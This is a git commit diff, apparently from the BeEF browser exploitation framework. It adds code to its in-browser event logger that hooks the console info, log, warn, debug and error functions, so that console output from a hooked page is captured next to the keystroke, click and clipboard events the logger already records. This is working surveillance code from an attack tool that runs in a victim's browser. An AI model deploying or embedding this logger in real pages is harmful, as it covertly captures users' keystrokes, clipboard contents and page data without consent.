Add console events to event logger

This commit is contained in:
Brendan Coles
2016-10-08 18:27:19 +00:00
parent ce3261900e
commit ff83871d44
2 changed files with 45 additions and 0 deletions

View File

@@ -69,6 +69,36 @@ beef.logger = {
$j(document.body).off('cut');
$j(document.body).off('paste');
if (!!window.console && typeof window.console == "object") {
try {
var oldInfo = window.console.info;
console.info = function (message) {
beef.logger.console('info', message);
oldInfo.apply(console, arguments);
};
var oldLog = window.console.log;
console.log = function (message) {
beef.logger.console('log', message);
oldLog.apply(console, arguments);
};
var oldWarn = window.console.warn;
console.warn = function (message) {
beef.logger.console('warn', message);
oldWarn.apply(console, arguments);
};
var oldDebug = window.console.debug;
console.debug = function (message) {
beef.logger.console('debug', message);
oldDebug.apply(console, arguments);
};
var oldError = window.console.error;
console.error = function (message) {
beef.logger.console('error', message);
oldError.apply(console, arguments);
};
} catch(e) {}
}
$j(document).keypress(
function(e) { beef.logger.keypress(e); }
).click(
@@ -109,6 +139,7 @@ beef.logger = {
$j(document.body).off('copy');
$j(document.body).off('cut');
$j(document.body).off('paste');
// TODO: reset console
},
/**
@@ -186,6 +217,18 @@ beef.logger = {
} catch(e) {}
},
/**
* Console function fires when data is sent to the browser console.
*/
console: function(type, message) {
try {
var c = new beef.logger.e();
c.type = 'console';
c.data = type + ': ' + message;
this.events.push(c);
} catch(e) {}
},
/**
* Paste function fires when the user pastes data from the clipboard.
*/